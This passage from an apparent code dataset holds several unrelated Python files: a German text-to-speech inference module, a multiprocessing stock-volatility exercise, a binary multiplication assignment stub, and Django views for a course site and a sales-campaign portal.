self.num_layers_applied_guided_attn = num_layers_applied_guided_attn\n if num_heads_applied_guided_attn == -1:\n self.num_heads_applied_guided_attn = aheads\n else:\n self.num_heads_applied_guided_attn = num_heads_applied_guided_attn\n self.modules_applied_guided_attn = modules_applied_guided_attn\n if self.spk_embed_dim is not None:\n self.spk_embed_integration_type = spk_embed_integration_type\n self.padding_idx = 0\n pos_enc_class = (ScaledPositionalEncoding if self.use_scaled_pos_enc else PositionalEncoding)\n if eprenet_conv_layers != 0:\n encoder_input_layer = torch.nn.Sequential(\n EncoderPrenet(idim=idim, embed_dim=embed_dim, elayers=0, econv_layers=eprenet_conv_layers, econv_chans=eprenet_conv_chans,\n econv_filts=eprenet_conv_filts, use_batch_norm=use_batch_norm, dropout_rate=eprenet_dropout_rate, padding_idx=self.padding_idx),\n torch.nn.Linear(eprenet_conv_chans, adim))\n else:\n encoder_input_layer = torch.nn.Embedding(num_embeddings=idim, embedding_dim=adim, padding_idx=self.padding_idx)\n self.encoder = Encoder(idim=idim, attention_dim=adim, attention_heads=aheads, linear_units=eunits, num_blocks=elayers, input_layer=encoder_input_layer,\n dropout_rate=transformer_enc_dropout_rate, positional_dropout_rate=transformer_enc_positional_dropout_rate,\n attention_dropout_rate=transformer_enc_attn_dropout_rate, pos_enc_class=pos_enc_class, normalize_before=encoder_normalize_before,\n concat_after=encoder_concat_after, positionwise_layer_type=positionwise_layer_type,\n positionwise_conv_kernel_size=positionwise_conv_kernel_size)\n if self.spk_embed_dim is not None:\n self.projection = torch.nn.Linear(adim + self.spk_embed_dim, adim)\n\n decoder_input_layer = torch.nn.Sequential(DecoderPrenet(idim=odim, n_layers=dprenet_layers, n_units=dprenet_units, dropout_rate=dprenet_dropout_rate),\n torch.nn.Linear(dprenet_units, adim))\n self.decoder = Decoder(odim=odim, attention_dim=adim, attention_heads=aheads, linear_units=dunits, num_blocks=dlayers,\n dropout_rate=transformer_dec_dropout_rate, positional_dropout_rate=transformer_dec_positional_dropout_rate,\n self_attention_dropout_rate=transformer_dec_attn_dropout_rate, src_attention_dropout_rate=transformer_enc_dec_attn_dropout_rate,\n input_layer=decoder_input_layer, use_output_layer=False, pos_enc_class=pos_enc_class, normalize_before=decoder_normalize_before,\n concat_after=decoder_concat_after)\n self.feat_out = torch.nn.Linear(adim, odim * reduction_factor)\n self.prob_out = torch.nn.Linear(adim, reduction_factor)\n self.postnet = PostNet(idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm,\n dropout_rate=postnet_dropout_rate)\n if self.use_guided_attn_loss:\n self.attn_criterion = GuidedMultiHeadAttentionLoss(sigma=guided_attn_loss_sigma, alpha=guided_attn_loss_lambda)\n self.criterion = TransformerLoss(use_masking=use_masking, use_weighted_masking=use_weighted_masking, bce_pos_weight=bce_pos_weight)\n if self.use_guided_attn_loss:\n self.attn_criterion = GuidedMultiHeadAttentionLoss(sigma=guided_attn_loss_sigma, alpha=guided_attn_loss_lambda)\n self.load_state_dict(torch.load(os.path.join(\"Models\", \"TransformerTTS_Thorsten\", \"best.pt\"), map_location='cpu')[\"model\"])\n\n def forward(self, text, speaker_embedding=None):\n self.eval()\n x = text\n xs = x.unsqueeze(0)\n hs, _ = self.encoder(xs, None)\n if self.spk_embed_dim is not None:\n speaker_embeddings = speaker_embedding.unsqueeze(0)\n hs = self._integrate_with_spk_embed(hs, speaker_embeddings)\n maxlen = int(hs.size(1) * 10.0 / self.reduction_factor)\n minlen = int(hs.size(1) * 0.0 / self.reduction_factor)\n idx = 0\n ys = hs.new_zeros(1, 1, self.odim)\n outs, probs = [], []\n z_cache = self.decoder.init_state(x)\n while True:\n idx += 1\n y_masks = subsequent_mask(idx).unsqueeze(0).to(x.device)\n z, z_cache = self.decoder.forward_one_step(ys, y_masks, hs, cache=z_cache)\n outs += [self.feat_out(z).view(self.reduction_factor, self.odim)]\n probs += [torch.sigmoid(self.prob_out(z))[0]]\n ys = torch.cat((ys, outs[-1][-1].view(1, 1, self.odim)), dim=1)\n att_ws_ = []\n for name, m in self.named_modules():\n if isinstance(m, MultiHeadedAttention) and \"src\" in name:\n att_ws_ += [m.attn[0, :, -1].unsqueeze(1)]\n if idx == 1:\n att_ws = att_ws_\n else:\n att_ws = [torch.cat([att_w, att_w_], dim=1) for att_w, att_w_ in zip(att_ws, att_ws_)]\n if int(sum(probs[-1] >= 0.5)) > 0 or idx >= maxlen:\n if idx < minlen:\n continue\n outs = (torch.cat(outs, dim=0).unsqueeze(0).transpose(1, 2))\n if self.postnet is not None:\n outs = outs + self.postnet(outs)\n outs = outs.transpose(2, 1).squeeze(0)\n break\n return outs\n\n @staticmethod\n def _add_first_frame_and_remove_last_frame(ys):\n return torch.cat([ys.new_zeros((ys.shape[0], 1, ys.shape[2])), ys[:, :-1]], dim=1)\n\n def _source_mask(self, ilens):\n x_masks = make_non_pad_mask(ilens).to(ilens.device)\n return x_masks.unsqueeze(-2)\n\n def _target_mask(self, olens):\n y_masks = make_non_pad_mask(olens).to(olens.device)\n s_masks = subsequent_mask(y_masks.size(-1), device=y_masks.device).unsqueeze(0)\n return y_masks.unsqueeze(-2) & s_masks\n\n def _integrate_with_spk_embed(self, hs, speaker_embeddings):\n speaker_embeddings = F.normalize(speaker_embeddings).unsqueeze(1).expand(-1, hs.size(1), -1)\n hs = self.projection(torch.cat([hs, speaker_embeddings], dim=-1))\n return hs\n\nclass TransformerLoss(torch.nn.Module):\n\n def __init__(self, use_masking=True, use_weighted_masking=False, bce_pos_weight=20.0):\n \"\"\"\n Initialize Transformer loss module.\n\n Args:\n use_masking (bool): Whether to apply masking\n for padded part in loss calculation.\n use_weighted_masking (bool):\n Whether to apply weighted masking in loss calculation.\n bce_pos_weight (float): Weight of positive sample of stop token.\n \"\"\"\n super(TransformerLoss, self).__init__()\n assert (use_masking != use_weighted_masking) or not use_masking\n self.use_masking = use_masking\n self.use_weighted_masking = use_weighted_masking\n\n # define criterions\n reduction = \"none\" if self.use_weighted_masking else \"mean\"\n self.l1_criterion = torch.nn.L1Loss(reduction=reduction)\n self.mse_criterion = torch.nn.MSELoss(reduction=reduction)\n self.bce_criterion = torch.nn.BCEWithLogitsLoss(reduction=reduction, pos_weight=torch.tensor(bce_pos_weight))\n\n # NOTE(kan-bayashi): register pre hook function for the compatibility\n self._register_load_state_dict_pre_hook(self._load_state_dict_pre_hook)\n\n def forward(self, after_outs, before_outs, logits, ys, labels, olens):\n \"\"\"\n Calculate forward propagation.\n\n Args:\n after_outs (Tensor): Batch of outputs after postnets (B, Lmax, odim).\n before_outs (Tensor): Batch of outputs before postnets (B, Lmax, odim).\n logits (Tensor): Batch of stop logits (B, Lmax).\n ys (Tensor): Batch of padded target features (B, Lmax, odim).\n labels (LongTensor): Batch of the sequences of stop token labels (B, Lmax).\n olens (LongTensor): Batch of the lengths of each target (B,).\n\n Returns:\n Tensor: L1 loss value.\n Tensor: Mean square error loss value.\n Tensor: Binary cross entropy loss value.\n \"\"\"\n # make mask and apply it\n if self.use_masking:\n masks = make_non_pad_mask(olens).unsqueeze(-1).to(ys.device)\n ys = ys.masked_select(masks)\n after_outs = after_outs.masked_select(masks)\n before_outs = before_outs.masked_select(masks)\n labels = labels.masked_select(masks[:, :, 0])\n logits = logits.masked_select(masks[:, :, 0])\n\n # calculate loss\n l1_loss = self.l1_criterion(after_outs, ys) + self.l1_criterion(before_outs, ys)\n mse_loss = self.mse_criterion(after_outs, ys) + self.mse_criterion(before_outs, ys)\n bce_loss = self.bce_criterion(logits, labels)\n\n # make weighted mask and apply it\n if self.use_weighted_masking:\n masks = make_non_pad_mask(olens).unsqueeze(-1).to(ys.device)\n weights = masks.float() / masks.sum(dim=1, keepdim=True).float()\n out_weights = weights.div(ys.size(0) * ys.size(2))\n logit_weights = weights.div(ys.size(0))\n\n # apply weight\n l1_loss = l1_loss.mul(out_weights).masked_select(masks).sum()\n mse_loss = mse_loss.mul(out_weights).masked_select(masks).sum()\n bce_loss = (bce_loss.mul(logit_weights.squeeze(-1)).masked_select(masks.squeeze(-1)).sum())\n\n return l1_loss, mse_loss, bce_loss\n\n def _load_state_dict_pre_hook(self, state_dict, prefix, local_metadata, strict, missing_keys, unexpected_keys, error_msgs):\n \"\"\"\n Apply pre hook function before loading state dict.\n\n From v.0.6.1 `bce_criterion.pos_weight` param is registered as a parameter but\n old models do not include it and as a result, it causes missing key error when\n loading old model parameter. This function solve the issue by adding param in\n state dict before loading as a pre hook function\n of the `load_state_dict` method.\n \"\"\"\n key = prefix + \"bce_criterion.pos_weight\"\n if key not in state_dict:\n state_dict[key] = self.bce_criterion.pos_weight\nclass MelGANGenerator(torch.nn.Module):\n\n def __init__(self, in_channels=80, out_channels=1, kernel_size=7, channels=512, bias=True,\n upsample_scales=[8, 8, 2, 2], stack_kernel_size=3, stacks=3,\n nonlinear_activation=\"LeakyReLU\", nonlinear_activation_params={\"negative_slope\": 0.2},\n pad=\"ReflectionPad1d\", pad_params={},\n use_final_nonlinear_activation=True, use_weight_norm=True):\n super(MelGANGenerator, self).__init__()\n assert channels >= np.prod(upsample_scales)\n assert channels % (2 ** len(upsample_scales)) == 0\n assert (kernel_size - 1) % 2 == 0, \"even number for kernel size does not work.\"\n layers = []\n layers += [getattr(torch.nn, pad)((kernel_size - 1) // 2, **pad_params),\n torch.nn.Conv1d(in_channels, channels, kernel_size, bias=bias)]\n for i, upsample_scale in enumerate(upsample_scales):\n layers += [getattr(torch.nn, nonlinear_activation)(**nonlinear_activation_params)]\n layers += [torch.nn.ConvTranspose1d(channels // (2 ** i), channels // (2 ** (i + 1)), upsample_scale * 2, stride=upsample_scale,\n padding=upsample_scale // 2 + upsample_scale % 2, output_padding=upsample_scale % 2, bias=bias)]\n for j in range(stacks):\n layers += [ResidualStack(kernel_size=stack_kernel_size, channels=channels // (2 ** (i + 1)), dilation=stack_kernel_size ** j, bias=bias,\n nonlinear_activation=nonlinear_activation, nonlinear_activation_params=nonlinear_activation_params, pad=pad,\n pad_params=pad_params)]\n layers += [getattr(torch.nn, nonlinear_activation)(**nonlinear_activation_params)]\n layers += [getattr(torch.nn, pad)((kernel_size - 1) // 2, **pad_params),\n torch.nn.Conv1d(channels // (2 ** (i + 1)), out_channels, kernel_size, bias=bias)]\n\n if use_final_nonlinear_activation:\n layers += [torch.nn.Tanh()]\n self.melgan = torch.nn.Sequential(*layers)\n if use_weight_norm:\n self.apply_weight_norm()\n self.load_state_dict(torch.load(os.path.join(\"Models\", \"MelGAN_Thorsten\", \"best.pt\"), map_location='cpu')[\"generator\"])\n\n def remove_weight_norm(self):\n def _remove_weight_norm(m):\n try:\n torch.nn.utils.remove_weight_norm(m)\n except ValueError:\n return\n\n self.apply(_remove_weight_norm)\n\n def apply_weight_norm(self):\n def _apply_weight_norm(m):\n if isinstance(m, torch.nn.Conv1d) or isinstance(m, torch.nn.ConvTranspose1d):\n torch.nn.utils.weight_norm(m)\n\n self.apply(_apply_weight_norm)\n\n def forward(self, melspec):\n self.melgan.eval()\n return self.melgan(melspec)\n\n\nclass Thorsten_TransformerTTSInference(torch.nn.Module):\n\n def __init__(self, device=\"cpu\", speaker_embedding=None):\n super().__init__()\n self.speaker_embedding = speaker_embedding\n self.device = device\n self.text2phone = TextFrontend(language=\"de\", use_panphon_vectors=False, use_word_boundaries=False, use_explicit_eos=False)\n self.phone2mel = Transformer(idim=133, odim=80, spk_embed_dim=None, reduction_factor=1).to(torch.device(device))\n self.mel2wav = MelGANGenerator().to(torch.device(device))\n self.phone2mel.eval()\n self.mel2wav.eval()\n self.to(torch.device(device))\n\n def forward(self, text, view=False, jupyter=True):\n with torch.no_grad():\n phones = self.text2phone.string_to_tensor(text).squeeze(0).long().to(torch.device(self.device))\n mel = self.phone2mel(phones, speaker_embedding=self.speaker_embedding).transpose(0, 1)\n wave = self.mel2wav(mel.unsqueeze(0)).squeeze(0).squeeze(0)\n if jupyter:\n wave = torch.cat((wave.cpu(), torch.zeros([8000])), 0)\n if view:\n import matplotlib.pyplot as plt\n import librosa.display as lbd\n fig, ax = plt.subplots(nrows=2, ncols=1)\n ax[0].plot(wave.cpu().numpy())\n lbd.specshow(mel.cpu().numpy(), ax=ax[1], sr=16000, cmap='GnBu', y_axis='mel', x_axis='time', hop_length=256)\n ax[0].set_title(self.text2phone.get_phone_string(text))\n ax[0].yaxis.set_visible(False)\n ax[1].yaxis.set_visible(False)\n plt.subplots_adjust(left=0.05, bottom=0.1, right=0.95, top=.9, wspace=0.0, hspace=0.0)\n plt.show()\n\n return wave.numpy()\n","sub_path":"InferenceInterfaces/Thorsten_TransformerTTSInference.py","file_name":"Thorsten_TransformerTTSInference.py","file_ext":"py","file_size_in_byte":18589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"384593495","text":"# -*- coding: utf-8 -*-\n\n\n# Задача: вычислить 3 тикера с максимальной и 3 тикера с минимальной волатильностью в МНОГОПРОЦЕССНОМ стиле\n#\n# Бумаги с нулевой волатильностью вывести отдельно.\n# Результаты вывести на консоль в виде:\n# Максимальная волатильность:\n# ТИКЕР1 - ХХХ.ХХ %\n# ТИКЕР2 - ХХХ.ХХ %\n# ТИКЕР3 - ХХХ.ХХ %\n# Минимальная волатильность:\n# ТИКЕР4 - ХХХ.ХХ %\n# ТИКЕР5 - ХХХ.ХХ %\n# ТИКЕР6 - ХХХ.ХХ %\n# Нулевая волатильность:\n# ТИКЕР7, ТИКЕР8, ТИКЕР9, ТИКЕР10, ТИКЕР11, ТИКЕР12\n# Волатильности указывать в порядке убывания. Тикеры с нулевой волатильностью упорядочить по имени.\n#\nimport os\nimport time\nfrom multiprocessing import Process, Pipe\n\n\ndef time_track(func):\n def surrogate(*args, **kwargs):\n started_at = time.time()\n\n result = func(*args, **kwargs)\n\n ended_at = time.time()\n elapsed = round(ended_at - started_at, 4)\n print(f'Функция работала {elapsed} секунд(ы)')\n return result\n return surrogate\n\n\nclass SorterTrades(Process):\n\n def __init__(self, file, conn, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.conn = conn\n self.file = os.path.normpath(file)\n self.trades = {}\n self.trades_list = []\n self.trade_id = None\n self.volatility = None\n\n def run(self):\n with open(self.file, 'r', encoding='utf8') as file:\n previous_price = 0\n max_price = 0\n min_price = 0\n for line in file:\n sec_id, trade_time, price, quantity = line.split(',')\n if price.isalpha():\n continue\n price = float(price)\n if previous_price <= price:\n max_price = price\n else:\n min_price = price\n previous_price = price\n average_price = round(((max_price + min_price) / 2), 2)\n volatility = round((((max_price - min_price) / average_price) * 100), 2)\n self.trades[sec_id] = volatility\n self.conn.send(self.trades)\n self.conn.close()\n\n\n@time_track\ndef main():\n path = os.path.dirname(__file__) + '\\\\trades'\n trades_dict = {}\n sorter_trades = []\n trades, pipes = [], []\n for dir_path, dir_names, filenames in os.walk(path):\n for file in filenames:\n full_file_path = os.path.join(dir_path, file)\n parent_conn, child_conn = Pipe()\n sorter_trades.append(SorterTrades(file=full_file_path, conn=child_conn))\n trades.append(sorter_trades)\n pipes.append(parent_conn)\n for sorter_trade in sorter_trades:\n sorter_trade.start()\n for conn in pipes:\n temp_trades_dict = conn.recv()\n for key, value in temp_trades_dict.items():\n trades_dict[key] = value\n for sorter_trade in sorter_trades:\n sorter_trade.join()\n for sorter_trade in sorter_trades:\n for key, value in sorter_trade.trades.items():\n trades_dict[key] = value\n\n print('Нулевая волатильность:')\n min_val = 0\n while min_val == 0:\n min_val = min(trades_dict.values())\n for key, value in trades_dict.items():\n if value == min_val:\n print(key, value)\n del_key = key\n break\n del trades_dict[del_key]\n min_val = min(trades_dict.values())\n\n print('Максимальная волатильность:')\n i = 0\n while i != 3:\n max_val = max(trades_dict.values())\n for key, value in trades_dict.items():\n if value == max_val:\n print(key, value)\n del_key = key\n i += 1\n break\n del trades_dict[del_key]\n\n print('Минимальная волатильность:')\n i = 0\n while i != 3:\n min_val = min(trades_dict.values())\n for key, value in trades_dict.items():\n if value == min_val:\n print(key, value)\n del_key = key\n i += 1\n break\n del trades_dict[del_key]\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"lesson_012/03_volatility_with_processes.py","file_name":"03_volatility_with_processes.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"346801045","text":"#!/usr/bin/env python2.7\n# -*- coding: utf-8 -*-\n'''\nAssignment 1: Binary Multiplication\n\nTeam Number: \nStudent Names: \n'''\nimport unittest\n\ndef binary_mult(A,B):\n \"\"\"\n Sig: int[0..n-1], int[0..n-1] ==> int[0..2*n-1]\n Pre: \n Post: \n Var: \n Example: binary_mult([0,1,1],[1,0,0]) = [0,0,1,1,0,0]\n \"\"\"\n\nclass BinaryMultTest(unittest.TestCase):\n \"\"\"Test Suite for binary multiplication problem\n \n Any method named \"test_something\" will be run when this file is \n executed. Use the sanity check as a template for adding your own \n tests if you wish. \n (You may delete this class from your submitted solution.)\n \"\"\"\n \n def test_sanity(self):\n \"\"\"Sanity Test\n \n This is a simple sanity check for your function;\n passing is not a guarantee of correctness.\n \"\"\"\n A = [0,1,1,0]\n B = [0,0,1,0]\n answer = binary_mult(A, B)\n self.assertEqual(answer, [0,0,0,0,1,1,0,0])\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"binary_mult.py","file_name":"binary_mult.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"68637067","text":"from django.shortcuts import render\nfrom django.views.generic import View\nfrom organization.models import CourseOrg,CityDict,Teachers\nfrom pure_pagination import Paginator, EmptyPage, PageNotAnInteger\nfrom organization.forms import UserAskForm\nfrom django.http import HttpResponse\nfrom operation.models import UserFavorite\nfrom courses.models import Course\nfrom django.db.models import Q\n# Create your views here.\nclass OrgView(View):\n \"\"\"\n 课程机构列表\n \"\"\"\n def get(self,request):\n #机构信息\n all_orgs = CourseOrg.objects.all()\n hot_orgs = all_orgs.order_by(\"-click_nums\")[:3]\n # 课程搜索\n search_keywords = request.GET.get('keywords', \"\")\n if search_keywords:\n all_orgs = all_orgs.filter(Q(name__icontains=search_keywords) |Q(desc__icontains=search_keywords))\n\n #城市信息\n all_citys = CityDict.objects.all()\n # 取出筛选城市\n city_id = request.GET.get('city', \"\")\n if city_id:\n all_orgs = all_orgs.filter(city_id=int(city_id))\n\n # 取出筛选类别\n sort = request.GET.get('sort', \"\")\n if sort:\n if sort==\"students\":\n all_orgs = all_orgs.order_by(\"-students\")\n elif sort == \"courses\":\n all_orgs = all_orgs.order_by(\"-cources_num\")\n\n # 机构界面课程排序\n cate = request.GET.get('ct', \"\")\n if cate:\n all_orgs = all_orgs.filter(category=cate)\n all_num = all_orgs.count()\n # 对课程机构进行分页\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n p = Paginator(all_orgs,5, request=request)\n\n orgs = p.page(page)\n\n return render(request,\"org-list.html\",{\n \"all_orgs\":orgs,\n \"all_citys\":all_citys,\n \"all_num\":all_num,\n \"city_id\":city_id,\n \"cate\":cate,\n \"hot_orgs\":hot_orgs,\n \"sort\":sort,\n })\n# 为增加用户体验,需用js的ajax异步提交,提交逻辑在html界面中\nclass AddUserAskView(View):\n\n def post(self,request):\n userask_form = UserAskForm(request.POST)\n if userask_form.is_valid():\n userask_form.save(commit=True)\n return HttpResponse('{\"status\":\"success\"}',content_type='application/json')\n else:\n return HttpResponse('{\"status\":\"fail\",\"msg\":\"添加出错\"}',content_type='application/json')\n\n\nclass OrgHomeView(View):\n \"\"\"\n 机构首页\n \"\"\"\n def get(self,request,org_id):\n current_page = 'home'\n course_org = CourseOrg.objects.get(id=int(org_id))\n course_org.click_nums += 1\n course_org.save()\n has_fav = False\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user,fav_id=course_org.id,fav_type=2):\n has_fav = True\n all_courses = course_org.course_set.all()[:3]\n all_teachers = course_org.teachers_set.all()[:1]\n return render(request,'org-detail-homepage.html',{\n 'all_courses':all_courses,\n 'all_teachers':all_teachers,\n 'course_org':course_org,\n 'current_page':current_page,\n 'has_fav':has_fav\n })\n\n\nclass OrgCourseView(View):\n \"\"\"\n 机构课程页面\n \"\"\"\n def get(self,request,org_id):\n current_page = 'course'\n course_org = CourseOrg.objects.get(id=int(org_id))\n has_fav = False\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n has_fav = True\n all_courses = course_org.course_set.all()\n return render(request,'org-detail-course.html',{\n 'all_courses':all_courses,\n 'course_org':course_org,\n 'current_page': current_page,\n 'has_fav':has_fav\n })\n\n\nclass OrgDescView(View):\n \"\"\"\n 机构介绍页\n \"\"\"\n def get(self,request,org_id):\n current_page = 'desc'\n course_org = CourseOrg.objects.get(id=int(org_id))\n has_fav = False\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n has_fav = True\n return render(request,'org-detail-desc.html',{\n 'course_org':course_org,\n 'current_page': current_page,\n 'has_fav': has_fav\n })\n\n\nclass OrgTeacherView(View):\n \"\"\"\n 机构教师页面\n \"\"\"\n def get(self,request,org_id):\n current_page = 'teacher'\n course_org = CourseOrg.objects.get(id=int(org_id))\n has_fav = False\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n has_fav = True\n all_teachers = course_org.teachers_set.all()\n return render(request,'org-detail-teachers.html',{\n 'all_teachers':all_teachers,\n 'course_org':course_org,\n 'current_page': current_page,\n 'has_fav': has_fav\n })\n\n\nclass AddFavView(View):\n \"\"\"\n 用户收藏,用户取消(ajax接收的是json字符串,注意转换)\n \"\"\"\n def post(self,request):\n fav_id = request.POST.get('fav_id',0)\n fav_type = request.POST.get('fav_type',0)\n\n if not request.user.is_authenticated():\n \"\"\"\n 判断用户是否登录\n \"\"\"\n return HttpResponse('{\"status\":\"fail\",\"msg\":\"用户未登录\"}', content_type='application/json')\n exist_records = UserFavorite.objects.filter(user=request.user,fav_id=int(fav_id),fav_type=int(fav_type))\n if exist_records:\n # 如果已经存在表示用户取消\n exist_records.delete()\n if int(fav_type) == 1:\n course = Course.objects.get(id=int(fav_id))\n course.fav_nums -= 1\n if course.fav_nums < 0:\n course.fav_nums = 0\n course.save()\n elif int(fav_id) == 2:\n course_org = CourseOrg.objects.get(id=int(fav_id))\n course_org.fav_nums -= 1\n if course_org.fav_nums < 0:\n course_org.fav_nums = 0\n course_org.save()\n elif int(fav_id) == 3:\n teacher = Teachers.objects.get(id=int(fav_id))\n teacher.fav_nums -= 1\n if teacher.fav_nums < 0:\n teacher.fav_nums = 0\n teacher.save()\n return HttpResponse('{\"status\":\"success\",\"msg\":\"收藏\"}', content_type='application/json')\n else:\n user_fav = UserFavorite()\n if int(fav_id)>0 and int(fav_type)>0:\n user_fav.user = request.user\n user_fav.fav_id = int(fav_id)\n user_fav.fav_type = int(fav_type)\n user_fav.save()\n if int(fav_type) == 1:\n course = Course.objects.get(id=int(fav_id))\n course.fav_nums += 1\n course.save()\n elif int(fav_id) == 2:\n course_org = CourseOrg.objects.get(id=int(fav_id))\n course_org.fav_nums += 1\n course_org.save()\n elif int(fav_id) == 3:\n teacher = Teachers.objects.get(id=int(fav_id))\n teacher.fav_nums += 1\n teacher.save()\n return HttpResponse('{\"status\":\"success\",\"msg\":\"已收藏\"}', content_type='application/json')\n else:\n return HttpResponse('{\"status\":\"fail\",\"msg\":\"收藏出错\"}', content_type='application/json')\n\n\nclass TeacherListView(View):\n # 课程讲师列表页\n def get(self,request):\n all_teachers = Teachers.objects.all()\n # 课程搜索\n search_keywords = request.GET.get('keywords', \"\")\n if search_keywords:\n all_teachers = all_teachers.filter(Q(name__icontains=search_keywords)|Q(work_position__icontains=search_keywords)\n |Q(work_company__icontains=search_keywords))\n # 取出筛选类别\n sort = request.GET.get('sort', \"\")\n if sort:\n if sort == \"hot\":\n all_teachers = all_teachers.order_by(\"-click_nums\")\n sort_teachers = all_teachers.order_by(\"-click_nums\")[:3]\n\n # 对课程机构进行分页\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n p = Paginator(all_teachers, 6, request=request)\n\n teachers = p.page(page)\n return render(request,\"teachers-list.html\",{\n \"all_teachers\":teachers,\n \"sort_teachers\":sort_teachers,\n \"sort\":sort\n\n })\n\n\nclass TeacherDetailView(View):\n def get(self,request,teacher_id):\n teacher = Teachers.objects.get(id=int(teacher_id))\n teacher.click_nums += 1\n teacher.save()\n all_courses = Course.objects.filter(teacher=teacher)\n sort_teachers = Teachers.objects.all().order_by(\"-click_nums\")[:3]\n has_teacher_fav = False\n has_org_fav = False\n if UserFavorite.objects.filter(user=request.user,fav_type=3,fav_id=teacher.id):\n has_teacher_fav = True\n\n if UserFavorite.objects.filter(user=request.user, fav_type=2, fav_id=teacher.org.id):\n has_org_fav = True\n\n\n return render(request, \"teacher-detail.html\", {\n \"teacher\":teacher,\n \"all_courses\":all_courses,\n \"sort_teachers\":sort_teachers,\n \"has_teacher_fav\":has_teacher_fav,\n \"has_org_fav\":has_org_fav\n\n\n })","sub_path":"apps/organization/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"63169547","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('tracking', '0016_auto_20160424_0143'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='organization',\n name='org_name',\n field=models.CharField(max_length=254, verbose_name='Group Name', unique=True),\n ),\n ]\n","sub_path":"tracking/migrations/0017_auto_20160521_1804.py","file_name":"0017_auto_20160521_1804.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"506590179","text":"from django.shortcuts import render, reverse, get_object_or_404\r\nfrom django.http import HttpResponseRedirect, HttpResponse\r\nfrom .models import Prospect, Campaign, Lead, View, DNC\r\nfrom django.contrib.auth import get_user_model\r\nfrom random import randint\r\nimport datetime\r\nfrom django.db.models import Q\r\nfrom django.contrib.auth.decorators import login_required\r\n\r\nfrom .forms import ProspectContactForm\r\n\r\n\r\n\r\nDjango_User = get_user_model()\r\n\r\n\r\ndef home(request):\r\n if request.user.is_authenticated:\r\n return render(request, 'portal/home.html')\r\n else:\r\n return HttpResponseRedirect(reverse('portal:login'))\r\n\r\n\r\n@login_required\r\ndef campaigns(request):\r\n # req_user = Django_User.objects.get(id=request.user.id)\r\n # context = {'campaigns': Campaign.objects.filter(Users__in=(req_user,))}\r\n context = {'campaigns': request.user.campaign_set.all()}\r\n return render(request, 'portal/campaigns.html', context)\r\n\r\n\r\ndef portal_login(request):\r\n pass\r\n # if request.method == 'post':\r\n\r\n # return render(request, 'portal/portal_login.html')\r\n\r\n\r\n@login_required\r\ndef get_prospect(request, campaign_id):\r\n temp_campaign = get_object_or_404(Campaign, id=campaign_id)\r\n # prospect_queryset = Prospect.objects.filter(~Q(Released_Campaigns__icontains=temp_campaign.Name), Campaigns__in=(temp_campaign, ))\r\n prospect_queryset = Prospect.objects.all()\r\n if prospect_queryset.count() == 0:\r\n context = {'empty_msg': 'No more prospects in this campaign.'}\r\n return render(request, 'portal/single_prospect.html', context)\r\n random_number = randint(0, prospect_queryset.count()-1)\r\n single_prospect = prospect_queryset[random_number]\r\n single_prospect.Released_Campaigns += (','+temp_campaign.Name)\r\n single_prospect.save()\r\n if single_prospect.Phone != '':\r\n context = {'prospect': single_prospect, 'campaign': temp_campaign, 'form': 'form'}\r\n else:\r\n context = {'prospect': single_prospect, 'campaign': temp_campaign, 'form': 'form'}\r\n return render(request, 'portal/single_prospect.html', context)\r\n\r\n\r\n@login_required\r\ndef campaign_details(request, campaign_id):\r\n con_campaign = get_object_or_404(Campaign, id=campaign_id)\r\n user = request.user\r\n context = {'campaign': con_campaign, 'user': user}\r\n return render(request, 'portal/campaign_details.html', context)\r\n\r\n\r\n@login_required\r\ndef make_lead(request, prospect_id, campaign_id):\r\n lead_prospect = get_object_or_404(Prospect, id=prospect_id)\r\n lead_campaign = get_object_or_404(Campaign, id=campaign_id)\r\n lead_user = get_object_or_404(Django_User, id=request.user.id)\r\n Lead.objects.create(Prospect=lead_prospect, Campaign=lead_campaign, Lead_User=lead_user, Lead_On=datetime.date.today())\r\n lead_prospect.Released_Campaigns += lead_campaign.Name\r\n lead_prospect.Lead_Count += 1\r\n lead_prospect.save()\r\n\r\n return HttpResponseRedirect('/get_prospect/'+campaign_id+'/')\r\n\r\n\r\n@login_required\r\ndef make_dnc(request, prospect_id, campaign_id):\r\n dnc_prospect = get_object_or_404(Prospect, id=prospect_id)\r\n dnc_campaign = get_object_or_404(Campaign, id=campaign_id)\r\n dnc_user = get_object_or_404(Django_User, id=request.user.id)\r\n DNC.objects.create(Prospect=dnc_prospect, Campaign=dnc_campaign, DNC_User=dnc_user, DNC_On=datetime.date.today())\r\n # dnc_prospect.delete()\r\n return HttpResponseRedirect('/get_prospect/'+campaign_id+'/')\r\n\r\n\r\n@login_required\r\ndef make_view(request, prospect_id, campaign_id):\r\n view_prospect = get_object_or_404(Prospect, id=prospect_id)\r\n view_campaign = get_object_or_404(Campaign, id=campaign_id)\r\n view_user = get_object_or_404(Django_User, id=request.user.id)\r\n view_prospect.View_Count += 1\r\n view_prospect.save()\r\n View.objects.create(Prospect=view_prospect, Campaign=view_campaign, View_User=view_user, 